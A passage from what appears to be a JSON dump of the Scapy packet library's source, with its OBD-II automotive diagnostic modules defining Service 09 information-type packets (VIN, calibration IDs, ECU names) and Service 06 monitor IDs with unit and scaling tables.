in self._pkts:\n                self._socket.sr1(p, timeout=0.3, verbose=False)\n                self._stopped.wait(timeout=self._interval)\n                if self._stopped.is_set() or self._socket.closed:\n                    break\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\n\"\"\"\nPackage of contrib automotive obd specific modules\nthat have to be loaded explicitly.\n\"\"\"\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/iid/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\n\"\"\"\nPackage of contrib automotive obd specific modules\nthat have to be loaded explicitly.\n\"\"\"\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/iid/iids.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\nfrom scapy.fields import FieldLenField, FieldListField, StrFixedLenField, \\\n    ByteField, ShortField, FlagsField, XByteField, PacketListField\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.contrib.automotive.obd.packet import OBD_Packet\nfrom scapy.contrib.automotive.obd.services import OBD_S09\n\n\n# See https://en.wikipedia.org/wiki/OBD-II_PIDs#Service_09\n# for further information\n# IID = Information IDentification\n\nclass OBD_S09_PR_Record(Packet):\n    fields_desc = [\n        XByteField(\"iid\", 0),\n    ]\n\n\nclass OBD_S09_PR(Packet):\n    name = \"Infotype IDs\"\n    fields_desc = [\n        PacketListField(\"data_records\", [], OBD_S09_PR_Record)\n    ]\n\n    def answers(self, other):\n        return isinstance(other, OBD_S09) \\\n            and all(r.iid in other.iid for r in self.data_records)\n\n\nclass OBD_IID00(OBD_Packet):\n    name = \"IID_00_Service9SupportedInformationTypes\"\n    fields_desc = [\n        FlagsField('supported_iids', 0, 32, [\n            'IID20',\n            'IID1F',\n            'IID1E',\n            'IID1D',\n            'IID1C',\n            'IID1B',\n            'IID1A',\n            'IID19',\n            'IID18',\n            'IID17',\n            'IID16',\n            'IID15',\n            'IID14',\n            'IID13',\n            'IID12',\n            'IID11',\n            'IID10',\n            'IID0F',\n            'IID0E',\n            'IID0D',\n            'IID0C',\n            'IID0B',\n            'IID0A',\n            'IID09',\n            'IID08',\n            'IID07',\n            'IID06',\n            'IID05',\n            'IID04',\n            'IID03',\n            'IID02',\n            'IID01'\n        ])\n    ]\n\n\nclass _OBD_IID_MessageCount(OBD_Packet):\n    fields_desc = [\n        ByteField('message_count', 0)\n    ]\n\n\nclass OBD_IID01(_OBD_IID_MessageCount):\n    name = \"IID_01_VinMessageCount\"\n\n\nclass OBD_IID03(_OBD_IID_MessageCount):\n    name = \"IID_03_CalibrationIdMessageCount\"\n\n\nclass OBD_IID05(_OBD_IID_MessageCount):\n    name = \"IID_05_CalibrationVerificationNumbersMessageCount\"\n\n\nclass OBD_IID07(_OBD_IID_MessageCount):\n    name = \"IID_07_InUsePerformanceTrackingMessageCount\"\n\n\nclass OBD_IID09(_OBD_IID_MessageCount):\n    name = \"IID_09_EcuNameMessageCount\"\n\n\nclass OBD_IID02(OBD_Packet):\n    name = \"IID_02_VehicleIdentificationNumber\"\n    fields_desc = [\n        FieldLenField('count', None, count_of='vehicle_identification_numbers',\n                      fmt='B'),\n        FieldListField('vehicle_identification_numbers', [],\n                       StrFixedLenField('', b'', 17),\n                       count_from=lambda pkt: pkt.count)\n    ]\n\n\nclass OBD_IID04(OBD_Packet):\n    name = \"IID_04_CalibrationId\"\n    fields_desc = [\n        FieldLenField('count', None, count_of='calibration_identifications',\n                      fmt='B'),\n        FieldListField('calibration_identifications', [],\n                       StrFixedLenField('', b'', 16),\n                       count_from=lambda pkt: pkt.count)\n    ]\n\n\nclass OBD_IID06(OBD_Packet):\n    name = \"IID_06_CalibrationVerificationNumbers\"\n    fields_desc = [\n        FieldLenField('count', None,\n                      count_of='calibration_verification_numbers', fmt='B'),\n        FieldListField('calibration_verification_numbers', [],\n                       StrFixedLenField('', b'', 4),\n                       count_from=lambda pkt: pkt.count)\n    ]\n\n\nclass OBD_IID08(OBD_Packet):\n    name = \"IID_08_InUsePerformanceTracking\"\n    fields_desc = [\n        FieldLenField('count', None, count_of='data', fmt='B'),\n        FieldListField('data', [],\n                       ShortField('', 0),\n                       count_from=lambda pkt: pkt.count)\n    ]\n\n\nclass OBD_IID0A(OBD_Packet):\n    name = \"IID_0A_EcuName\"\n    fields_desc = [\n        FieldLenField('count', None, count_of='ecu_names', fmt='B'),\n        FieldListField('ecu_names', [],\n                       StrFixedLenField('', b'', 20),\n                       count_from=lambda pkt: pkt.count)\n    ]\n\n\nclass OBD_IID0B(OBD_Packet):\n    name = \"IID_0B_InUsePerformanceTrackingForCompressionIgnitionVehicles\"\n    fields_desc = [\n        FieldLenField('count', None, count_of='data', fmt='B'),\n        FieldListField('data', [],\n                       ShortField('', 0),\n                       count_from=lambda pkt: pkt.count)\n    ]\n\n\nbind_layers(OBD_S09_PR_Record, OBD_IID00, iid=0x00)\nbind_layers(OBD_S09_PR_Record, OBD_IID01, iid=0x01)\nbind_layers(OBD_S09_PR_Record, OBD_IID02, iid=0x02)\nbind_layers(OBD_S09_PR_Record, OBD_IID03, iid=0x03)\nbind_layers(OBD_S09_PR_Record, OBD_IID04, iid=0x04)\nbind_layers(OBD_S09_PR_Record, OBD_IID05, iid=0x05)\nbind_layers(OBD_S09_PR_Record, OBD_IID06, iid=0x06)\nbind_layers(OBD_S09_PR_Record, OBD_IID07, iid=0x07)\nbind_layers(OBD_S09_PR_Record, OBD_IID08, iid=0x08)\nbind_layers(OBD_S09_PR_Record, OBD_IID09, iid=0x09)\nbind_layers(OBD_S09_PR_Record, OBD_IID0A, iid=0x0A)\nbind_layers(OBD_S09_PR_Record, OBD_IID0B, iid=0x0B)\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/mid/__init__.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\n\"\"\"\nPackage of contrib automotive obd specific modules\nthat have to be loaded explicitly.\n\"\"\"\n"
  },
  {
    "path": "scapy/contrib/automotive/obd/mid/mids.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Andreas Korb <andreas.d.korb@gmail.com>\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.status = skip\n\nfrom scapy.fields import FlagsField, ScalingField, ByteEnumField, \\\n    MultipleTypeField, ShortField, ShortEnumField, PacketListField\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.contrib.automotive.obd.packet import OBD_Packet\nfrom scapy.contrib.automotive.obd.services import OBD_S06\n\n\ndef _unit_and_scaling_fields(name):\n    return [\n        (ScalingField(name, 0, fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x1),\n        (ScalingField(name, 0, scaling=0.1, fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x2),\n        (ScalingField(name, 0, scaling=0.01, fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x3),\n        (ScalingField(name, 0, scaling=0.001, fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x4),\n        (ScalingField(name, 0, scaling=0.0000305, fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x5),\n        (ScalingField(name, 0, scaling=0.000305, fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x6),\n        (ScalingField(name, 0, scaling=0.25, unit=\"rpm\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x7),\n        (ScalingField(name, 0, scaling=0.01, unit=\"km/h\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x8),\n        (ScalingField(name, 0, unit=\"km/h\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x9),\n        (ScalingField(name, 0, scaling=0.122, unit=\"mV\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0xA),\n        (ScalingField(name, 0, scaling=0.001, unit=\"V\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0xB),\n        (ScalingField(name, 0, scaling=0.01, unit=\"V\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0xC),\n        (ScalingField(name, 0, scaling=0.00390625, unit=\"mA\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0xD),\n        (ScalingField(name, 0, scaling=0.001, unit=\"A\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0xE),\n        (ScalingField(name, 0, scaling=0.01, unit=\"A\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0xF),\n        (ScalingField(name, 0, unit=\"ms\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x10),\n        (ScalingField(name, 0, scaling=100, unit=\"ms\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x11),\n        (ScalingField(name, 0, scaling=1, unit=\"s\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x12),\n        (ScalingField(name, 0, scaling=1, unit=\"mOhm\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x13),\n        (ScalingField(name, 0, scaling=1, unit=\"Ohm\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x14),\n        (ScalingField(name, 0, scaling=1, unit=\"kOhm\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x15),\n        (ScalingField(name, -40, scaling=0.1, unit=\"deg. C\",\n                      offset=-40, fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x16),\n        (ScalingField(name, 0, scaling=0.01, unit=\"kPa\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x17),\n        (ScalingField(name, 0, scaling=0.0117, unit=\"kPa\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x18),\n        (ScalingField(name, 0, scaling=0.079, unit=\"kPa\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x19),\n        (ScalingField(name, 0, scaling=1, unit=\"kPa\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x1A),\n        (ScalingField(name, 0, scaling=10, unit=\"kPa\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x1B),\n        (ScalingField(name, 0, scaling=0.01, unit=\"deg.\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x1C),\n        (ScalingField(name, 0, scaling=0.5, unit=\"deg.\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x1D),\n        (ScalingField(name, 0, scaling=0.0000305, fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x1E),\n        (ScalingField(name, 0, scaling=0.05, fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x1F),\n        (ScalingField(name, 0, scaling=0.0039062, fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x20),\n        (ScalingField(name, 0, scaling=1, unit=\"mHz\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x21),\n        (ScalingField(name, 0, scaling=1, unit=\"Hz\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x22),\n        (ScalingField(name, 0, scaling=1, unit=\"KHz\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x23),\n        (ScalingField(name, 0, scaling=1, unit=\"counts\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x24),\n        (ScalingField(name, 0, scaling=1, unit=\"km\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x25),\n        (ScalingField(name, 0, scaling=0.1, unit=\"mV/ms\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x26),\n        (ScalingField(name, 0, scaling=0.01, unit=\"g/s\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x27),\n        (ScalingField(name, 0, scaling=1, unit=\"g/s\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x28),\n        (ScalingField(name, 0, scaling=0.25, unit=\"Pa/s\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x29),\n        (ScalingField(name, 0, scaling=0.001, unit=\"kg/h\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x2A),\n        (ScalingField(name, 0, scaling=1, unit=\"switches\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x2B),\n        (ScalingField(name, 0, scaling=0.01, unit=\"g/cyl\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x2C),\n        (ScalingField(name, 0, scaling=0.01, unit=\"mg/stroke\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x2D),\n        (ShortEnumField(name, 0, {0: \"false\", 1: \"true\"}),\n         lambda pkt: pkt.unit_and_scaling_id == 0x2E),\n        (ScalingField(name, 0, scaling=0.01, unit=\"%\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x2F),\n        (ScalingField(name, 0, scaling=0.001526, unit=\"%\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x30),\n        (ScalingField(name, 0, scaling=0.001, unit=\"L\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x31),\n        (ScalingField(name, 0, scaling=0.0000305, unit=\"inch\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x32),\n        (ScalingField(name, 0, scaling=0.00024414, fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x33),\n        (ScalingField(name, 0, scaling=1, unit=\"min\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x34),\n        (ScalingField(name, 0, scaling=10, unit=\"ms\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x35),\n        (ScalingField(name, 0, scaling=0.01, unit=\"g\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x36),\n        (ScalingField(name, 0, scaling=0.1, unit=\"g\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x37),\n        (ScalingField(name, 0, scaling=1, unit=\"g\", fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x38),\n        (ScalingField(name, 0, scaling=0.01, unit=\"%\", offset=-327.68,\n                      fmt='H'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x39),\n        (ScalingField(name, 0, scaling=1, fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x81),\n        (ScalingField(name, 0, scaling=0.1, fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x82),\n        (ScalingField(name, 0, scaling=0.01, fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x83),\n        (ScalingField(name, 0, scaling=0.001, fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x84),\n        (ScalingField(name, 0, scaling=0.0000305, fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x85),\n        (ScalingField(name, 0, scaling=0.000305, fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x86),\n        (ScalingField(name, 0, scaling=0.122, unit=\"mV\", fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x8A),\n        (ScalingField(name, 0, scaling=0.001, unit=\"V\", fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x8B),\n        (ScalingField(name, 0, scaling=0.01, unit=\"V\", fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x8C),\n        (ScalingField(name, 0, scaling=0.00390625, unit=\"mA\", fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x8D),\n        (ScalingField(name, 0, scaling=0.001, unit=\"A\", fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x8E),\n        (ScalingField(name, 0, scaling=1, unit=\"ms\", fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x90),\n        (ScalingField(name, 0, scaling=0.1, unit=\"deg. C\", fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x96),\n        (ScalingField(name, 0, scaling=0.01, unit=\"deg.\", fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x9C),\n        (ScalingField(name, 0, scaling=0.5, unit=\"deg.\", fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0x9D),\n        (ScalingField(name, 0, scaling=1, unit=\"g/s\", fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0xA8),\n        (ScalingField(name, 0, scaling=0.25, unit=\"Pa/s\", fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0xA9),\n        (ScalingField(name, 0, scaling=0.01, unit=\"%\", fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0xAF),\n        (ScalingField(name, 0, scaling=0.003052, unit=\"%\", fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0xB0),\n        (ScalingField(name, 0, scaling=2, unit=\"mV/s\", fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0xB1),\n        (ScalingField(name, 0, scaling=0.001, unit=\"kPa\", fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0xFD),\n        (ScalingField(name, 0, scaling=0.25, unit=\"Pa\", fmt='h'),\n         lambda pkt: pkt.unit_and_scaling_id == 0xFE)\n    ]\n\n\ndef _mid_flags(basemid):\n    return [\n        'MID%02X' % (basemid + 0x20),\n        'MID%02X' % (basemid + 0x1F),\n        'MID%02X' % (basemid + 0x1E),\n        'MID%02X' % (basemid + 0x1D),\n        'MID%02X' % (basemid + 0x1C),\n        'MID%02X' % (basemid + 0x1B),\n        'MID%02X' % (basemid + 0x1A),\n        'MID%02X' % (basemid + 0x19),\n        'MID%02X' % (basemid + 0x18),\n        'MID%02X' % (basemid + 0x17),\n        'MID%02X' % (basemid + 0x16),\n        'MID%02X' % (basemid + 0x15),\n        'MID%02X' % (basemid + 0x14),\n        'MID%02X' % (basemid + 0x13),\n        'MID%02X' % (basemid + 0x12),\n        'MID%02X' % (basemid + 0x11),\n        'MID%02X' % (basemid + 0x10),\n        'MID%02X' % (basemid + 0x0F),\n        'MID%02X' % (basemid + 0x0E),\n        'MID%02X' % (basemid + 0x0D),\n        'MID%02X' % (basemid + 0x0C),\n        'MID%02X' % (basemid + 0x0B),\n        'MID%02X' % (basemid + 0x0A),\n        'MID%02X' % (basemid + 0x09),\n        'MID%02X' % (basemid + 0x08),\n        'MID%02X' % (basemid + 0x07),\n        'MID%02X' % (basemid + 0x06),\n        'MID%02X' % (basemid + 0x05),\n        'MID%02X' % (basemid + 0x04),\n        'MID%02X' % (basemid + 0x03),\n        'MID%02X' % (basemid + 0x02),\n        'MID%02X' % (basemid + 0x01)\n    ]\n\n\nclass OBD_MIDXX(OBD_Packet):\n    standardized_test_ids = {\n        1: \"TID_01_RichToLeanSensorThresholdVoltage\",\n        2: \"TID_02_LeanToRichSensorThresholdVoltage\",\n        3: \"TID_03_LowSensorVoltageForSwitchTimeCalculation\",\n        4: \"TID_04_HighSensorVoltageForSwitchTimeCalculation\",\n        5: \"TID_05_RichToLeanSensorSwitchTime\",\n        6: \"TID_06_LeanToRichSensorSwitchTime\",\n        7: \"TID_07_MinimumSensorVoltageForTestCycle\",\n        8: \"TID_08_MaximumSensorVoltageForTestCycle\",\n        9: \"TID_09_TimeBetweenSensorTransitions\",\n        10: \"TID_0A_SensorPeriod\"}\n    unit_and_scaling_ids = {\n        0x01: \"Raw Value\",\n        0x02: \"Raw Value\",\n        0x03: \"Raw Value\",\n        0x04: \"Raw Value\",\n        0x05: \"Raw Value\",\n        0x06: \"Raw Value\",\n        0x07: \"rotational frequency\",\n        0x08: \"Speed\",\n        0x09: \"Speed\",\n        0x0A: \"Voltage\",\n        0x0B: \"Voltage\",\n        0x0C: \"Voltage\",\n        0x0D: \"Current\",\n        0x0E: \"Current\",\n        0x0F: \"Current\",\n        0x10: \"Time\",\n        0x11: \"Time\",\n        0x12: \"Time\",\n        0x13: \"Resistance\",\n        0x14: \"Resistance\",\n        0x15: \"Resistance\",\n        0x16: \"Temperature\",\n        0x17: \"Pressure (Gauge)\",\n        0x18: \"Pressure (Air pressure)\",\n        0x19: \"Pressure (Fuel pressure)\",\n        0x1A: \"Pressure (Gauge)\",\n        0x1B: \"Pressure (Diesel pressure)\",\n        0x1C: \"Angle\",\n        0x1D: \"Angle\",\n        0x1E: \"Equivalence ratio (lambda)\",\n        0x1F: \"Air/Fuel ratio\",\n        0x20: \"Ratio\",\n        0x21: \"Frequency\",\n        0x22: \"Frequency\",\n        0x23: \"Frequency\",\n        0x24: \"Counts\",\n        0x25: \"Distance\",\n        0x26: \"Voltage per time\",\n        0x27: \"Mass per time\",\n        0x28: \"Mass per time\",\n        0x29: \"Pressure per time\",\n        0x2A: \"Mass per time\",\n        0x2B: \"Switches\",\n        0x2C: \"Mass per cylinder\",\n        0x2D: \"Mass per stroke\",\n        0x2E: \"True/False\",\n        0x2F: \"Percent\",\n        0x30: \"Percent\",\n        0x31: \"volume\",\n        0x32: \"length\",\n        0x33: \"Equivalence ratio (lambda)\",\n        0x34: \"Time\",\n        0x35: \"Time\",\n        0x36: \"Weight\",\n        0x37: \"Weight\",\n        0x38: \"Weight\",\n        0x39: \"Percent\",\n        0x81: \"Raw Value\",\n        0x82: \"Raw Value\",\n        0x83: \"Raw Value\",\n        0x84: \"Raw Value\",\n        0x85: \"Raw Value\",\n        0x86: \"Raw Value\",\n        0x8A: \"Voltage\",\n        0x8B: \"Voltage\",\n        0x8C: \"Voltage\",\n        0x8D: \"Current\",\n        0x8E: \"Current\",\n        0x90: \"Time\",\n        0x96: \"Temperature\",\n        0x9C: \"Angle\",\n        0x9D: \"Angle\",\n        0xA8: \"Mass per time\",\n        0xA9: \"Pressure per time\",\n        0xAF: \"Percent\",\n        0xB0: \"Percent\",\n        0xB1: \"Voltage per time\",\n        0xFD: \"Pressure\",\n        0xFE: \"Pressure\"\n    }\n\n    name = \"OBD MID data record\"\n    fields_desc = [\n        ByteEnumField(\"standardized_test_id\", 1, standardized_test_ids),\n        ByteEnumField(\"unit_and_scaling_id\", 1, unit_and_scaling_ids),\n        MultipleTypeField(_unit_and_scaling_fields(\"test_value\"),\n                          ShortField(\"test_value\", 0)),\n        MultipleTypeField(_unit_and_scaling_fields(\"min_limit\"),\n                          ShortField(\"min_limit\", 0)),\n        MultipleTypeField(_unit_and_scaling_fields(\"max_limit\"),\n                          ShortField(\"max_limit\", 0)),\n    ]\n\n\nclass OBD_MID00(OBD_Packet):\n    fields_desc = [\n        FlagsField('supported_mids', 0, 32, _mid_flags(0x00)),\n    ]\n\n\nclass OBD_MID20(OBD_Packet):\n    fields_desc = [\n        FlagsField('supported_mids', 0, 32, _mid_flags(0x20)),\n    ]\n\n\nclass OBD_MID40(OBD_Packet):\n    fields_desc = [\n        FlagsField('supported_mids', 0, 32, _mid_flags(0x40)),\n    ]\n\n\nclass OBD_MID60(OBD_Packet):\n    fields_desc = [\n        FlagsField('supported_mids', 0, 32, _mid_flags(0x60)),\n    ]\n\n\nclass OBD_MID80(OBD_Packet):\n    fields_desc = [\n        FlagsField('supported_mids', 0, 32, _mid_flags(0x80)),\n    ]\n\n\nclass OBD_MIDA0(OBD_Packet):\n    fields_desc = [\n        FlagsField('supported_mids', 0, 32, _mid_flags(0xA0)),\n    ]\n\n\nclass OBD_S06_PR_Record(Packet):\n    on_board_monitoring_ids = {\n        0x00: \"OBD Monitor IDs supported ($01 - $20)\",\n        0x01: \"Oxygen Sensor Monitor Bank 1 - Sensor 1\",\n        0x02: \"Oxygen Sensor Monitor Bank 1 - Sensor 2\",\n        0x03: \"Oxygen Sensor Monitor Bank 1 - Sensor 3\",\n        0x04: \"Oxygen Sensor Monitor Bank 1 - Sensor 4\",\n        0x05: \"Oxygen Sensor Monitor Bank 2 - Sensor 1\",\n        0x06: \"Oxygen Sensor Monitor Bank 2 - Sensor 2\",\n        0x07: \"Oxygen Sensor Monitor Bank 2 - Sensor 3\",\n        0x08: \"Oxygen Sensor Monitor Bank 2 - Sensor 4\",\n        0x09: \"Oxygen Sensor Monitor Bank 3 - Sensor 1\",\n        0x0A: \"Oxygen Sensor Monitor Bank 3 - Sensor 2\",\n        0x0B: \"Oxygen Sensor Monitor Bank 3 - Sensor 3\",\n        0x0C: \"Oxygen Sensor Monitor Bank 3 - Sensor 4\",\n        0x0D: \"Oxygen Sensor Monitor Bank 4 - Sensor 1\",\n        0x0E: \"Oxygen Sensor Monitor Bank 4 - Sensor 2\",\n        0x0F: \"Oxygen Sensor Monitor Bank 4 - Sensor 3\",\n        0x10: \"Oxygen Sensor Monitor Bank 4 - Sensor 4\",\n        0x20: \"OBD Monitor IDs supported ($21 - $40)\",\n        0x21: \"Catalyst Monitor Bank 1\",\n        0x22: \"Catalyst Monitor Bank 2\",\n        0x23: \"Catalyst Monitor Bank 3\",\n        0x24: \"Catalyst Monitor Bank 4\",\n        0x32: \"EGR Monitor Bank 2\",\n        0x33: \"EGR Monitor Bank 3\",\n        0x34: \"EGR Monitor Bank 4\",\n        0x35: \"VVT Monitor Bank 1\",\n        0x36: \"VVT Monitor Bank 2\",\n        0x37: \"VVT Monitor Bank 3\",\n        0x38: \"VVT Monitor Bank 4\",\n        0x39: \"EVAP Monitor (Cap Off / 0.150\\\")\",\n        0x3A: \"EVAP Monitor (0.090\\\")\",\n        0x3B: \"EVAP Monitor (0.040\\\")\",\n        0x3C: \"EVAP Monitor (0.020\\\")\",\n        0x3D: \"Purge Flow Monitor\",\n        0x40: \"OBD Monitor IDs supported ($41 - $60)\",\n        0x41: \"Oxygen Sensor Heater Monitor Bank 1 - Sensor 1\",\n        0x42: \"Oxygen Sensor Heater Monitor Bank 1 - Sensor 2\",\n        0x43: \"Oxygen Sensor Heater Monitor Bank 1 - Sensor 3\",\n        0x44: \"Oxygen Sensor Heater Monitor Bank 1 - Sensor 4\",\n        0x45: \"Oxygen Sensor Heater Monitor Bank 2 - Sensor 1\",\n        0x46: \"Oxygen Sensor Heater Monitor Bank 2 - Sensor 2\",\n        0x47: \"Oxygen Sensor Heater Monitor Bank 2 - Sensor 3\",\n        0x48: \"Oxygen Sensor Heater Monitor Bank 2 - Sensor 4\",\n        0x49: \"Oxygen Sensor Heater Monitor Bank 3 - Sensor 1\",\n        0x4A: \"Oxygen Sensor Heater Monitor Bank 3 - Sensor 2\",\n        0x4B: \"Oxygen Sensor Heater Monitor Bank 3 - Sensor 3\",\n        0x4C: \"Oxygen Sensor Heater Monitor Bank 3 - Sensor 4\",\n        0x4D: \"Oxygen Sensor Heater Monitor Bank 4 - Sensor 1\",\n        0x4E: \"Oxygen Sensor Heater Monitor Bank 4 - Sensor 2\",\n        0x4F: \"Oxygen Sensor Heater Monitor Bank 4 - Sensor 3\",\n        0x50: \"Oxygen Sensor Heater Monitor Bank 4 - Sensor 4\",\n        0x60: \"OBD Monitor IDs supported ($61 - $80)\",\n        0x61: \"Heated Catalyst Monitor Bank 1\",\n        0x62: \"Heated Catalyst Monitor Bank 2\",\n        0x63: \"Heated Catalyst Monitor Bank 3\",\n        0x64: \"Heated Catalyst Monitor Bank 4\",\n        0x71: \"Secondary Air Monitor 1\",\n        0x72: \"Secondary Air Monitor 2\",\n        0x73: \"Secondary Air Monitor 3\",\n        0x74: \"Secondary Air Monitor 4\",\n        0x80: \"OBD Monitor IDs supported ($81 - $A0)\",\n        0x81: \"Fuel System Monitor Bank 1\",\n        0x82: \"Fuel System Monitor Bank 2\",\n        0x83: \"Fuel System Monitor Bank 3\",\n        0x84: \"Fuel System Monitor Bank 4\",\n        0x85: \"Boost Pressure Control Monitor Bank 1\",\n        0x86: \"Boost Pressure Control Monitor Bank 2\",\n        0x90: \"NOx Adsorber Monitor Bank 1\",\n        0x91: \"NOx Adsorber Monitor Bank 2\",\n        0x98: \"NOx Catalyst Monitor Bank 1\",\n        0x99: \"NOx Catalyst Monitor Bank 2\",\n        0xA0: \"OBD Monitor IDs supported ($A1 - $C0)\",\n        0xA1: \"Misfire Monitor General Data\",\n        0xA2: \"Misfire Cylinder 1 Data\",\n        0xA3: \"Misfire Cylinder 2 Data\",\n        0xA4: \"Misfire Cylinder 3 Data\",\n        0xA5: \"Misfire Cylinder 4 Data\",\n        0xA6: \"Misfire Cylinder 5 Data\",\n        0xA7: \"Misfire Cylinder 6 Data\",\n        0xA8: \"Misfire Cylinder 7 Data\",\n        0xA9: \"Misfire Cylinder 8 Data\",\n        0xAA: \"Misfire Cylinder 9 Data\",\n        0xAB: \"Misfire Cylinder 10 Data\",\n        0xAC: \"Misfire Cylinder 11 Data\",\n        0xAD: \"Misfire Cylinder 12 Data\",\n        0xB0: \"PM Filter Monitor Bank 1\",\n        0xB1: \"PM Filter Monitor Bank 2\"\n    }\n    name = \"On-Board diagnostic monitoring ID\"\n    fields_desc = [\n        ByteEnumField(\"mid\", 0, on_board_monitoring_ids),\n    ]\n\n\nclass OBD_S06_PR(Packet):\n    name = \"On-Board monitoring IDs\"\n    fields_desc = [\n        